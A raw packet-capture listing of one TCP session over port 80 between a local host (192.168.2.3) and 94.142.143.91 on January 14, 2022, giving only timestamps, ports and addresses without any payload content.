Jan 14, 2022 05:00:00.637759924 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.637768030 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.637780905 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.637813091 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.681301117 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.681389093 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.681428909 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.681427956 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.681466103 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.681499958 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.681521893 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.681533098 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.681535959 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.681543112 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.681549072 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.681571960 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.681592941 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.681607008 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.681619883 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.681643963 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.681653023 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.681680918 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.681694984 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.681718111 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.681731939 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.681755066 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.681767941 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.681790113 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.681802988 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.681827068 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.681837082 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.681885004 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.681898117 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.681935072 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.681947947 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.681969881 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.681983948 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.682005882 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.682020903 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.682053089 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.682085991 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.682096004 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.682106018 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.682121038 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.682152987 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.682157993 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.682169914 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.682185888 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.682219982 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.682251930 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.682284117 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.682317019 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.682344913 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.682349920 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.682356119 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.682363987 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.682369947 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.682375908 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.682380915 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.682384968 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.682404041 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.682420015 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.682437897 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.682454109 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.682470083 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.682487011 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.682506084 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.682518959 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.682528973 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.682554960 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.682569981 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.682586908 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.682619095 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.682627916 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.682650089 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.682651997 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.682682991 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.682688951 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.682702065 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.682714939 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.682727098 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.682748079 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.682761908 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.682780027 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.682794094 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.682811975 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.682823896 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.682843924 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.682857990 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.682877064 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.682898045 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.682903051 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.682919025 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.682934046 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.682950020 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.682965994 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.682977915 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.682997942 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.683012009 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.683029890 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.683060884 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.683068037 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.683078051 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.683094025 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.683104038 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.683129072 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.683161974 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.683162928 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.683175087 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.683192015 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.683216095 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.683223963 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.683238983 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.683259964 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.683273077 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.683290958 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.683306932 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.683322906 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.683340073 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.683356047 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.683372974 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.683392048 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.683398962 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.683430910 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.683443069 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.683461905 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.683478117 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.683495045 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.683514118 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.683526039 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.683557987 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.683576107 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.683589935 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.683629990 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.683631897 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.683645964 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.683682919 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.683701038 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.683731079 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.683748007 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.683768988 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.683772087 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.683814049 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.683839083 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.683845043 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.683860064 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.683878899 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.683891058 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.683912039 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.683923960 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.683944941 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.683958054 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.683979034 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.683990955 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.684010029 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.684021950 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.684041977 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.684056997 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.684075117 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.684092045 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.684104919 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.684123039 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.684138060 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.684153080 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.684170008 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.684182882 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.684202909 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.684216022 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.684237003 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.684250116 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.684267998 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.684281111 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.684300900 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.684315920 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.684333086 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.684350967 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.684362888 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.684376001 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.684396029 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.684410095 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.684429884 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.684443951 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.684462070 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.684478998 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.684495926 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.684504986 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.684528112 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.684540987 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.684560061 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.684572935 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.684592962 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.684608936 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.684623003 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.684644938 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.684654951 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.684669018 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.684688091 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.684706926 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.684722900 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.684736013 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.684756994 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.684770107 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.684787989 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.684803963 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.684819937 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.684835911 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.684853077 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.684866905 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.684884071 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.684895992 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.684916019 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.684928894 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.684948921 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.684967041 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.684982061 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.684994936 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.685015917 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.685029030 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.685045958 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.685059071 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.685079098 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.685090065 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.685112000 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.685127020 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.685142994 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.685156107 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.685175896 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.685188055 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.685206890 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.685220957 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.685239077 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.685250998 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.685271978 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.685285091 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.685302973 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.685323000 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.685343981 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.694505930 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.694530010 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.694551945 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.694555998 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.694574118 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.694596052 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.694595098 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.694607019 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.694618940 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.694618940 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.694638968 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.694643974 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.694658995 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.694665909 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.694689989 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.694694996 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.694713116 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.694732904 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.694755077 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.694777966 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.694798946 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.694820881 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.694840908 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.694863081 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.694885015 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.694905043 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.694919109 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.694926023 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.694947958 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.694967985 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.694989920 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.695009947 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.695031881 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.695053101 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.695064068 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.695074081 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.695096016 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.695096970 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.695110083 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.695117950 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.695132971 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.695141077 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.695163012 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.695183992 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.695188046 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.695205927 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.695228100 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.695234060 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.695249081 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.695270061 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.695271015 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.695293903 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.695314884 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.695316076 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.695337057 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.695358038 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.695359945 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.695379972 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.695401907 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.695404053 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.695425034 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.695446014 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.695450068 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.695468903 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.695489883 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.695494890 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.695514917 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.695537090 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.695538044 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.695559025 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.695584059 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.695607901 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.695621967 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.695630074 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.695632935 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.695652008 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.695673943 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.695679903 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.695696115 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.695717096 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.695719957 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.695739031 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.695760012 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.695760965 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.695780993 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.695802927 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.695802927 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.695823908 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.695844889 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.695846081 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.695867062 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.695888042 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.695890903 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.695909023 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.695931911 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.710303068 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.710861921 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.742059946 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.742110968 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.742125988 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.742153883 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.742194891 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.742217064 CET	49905	80	192.168.2.3	94.142.143.91
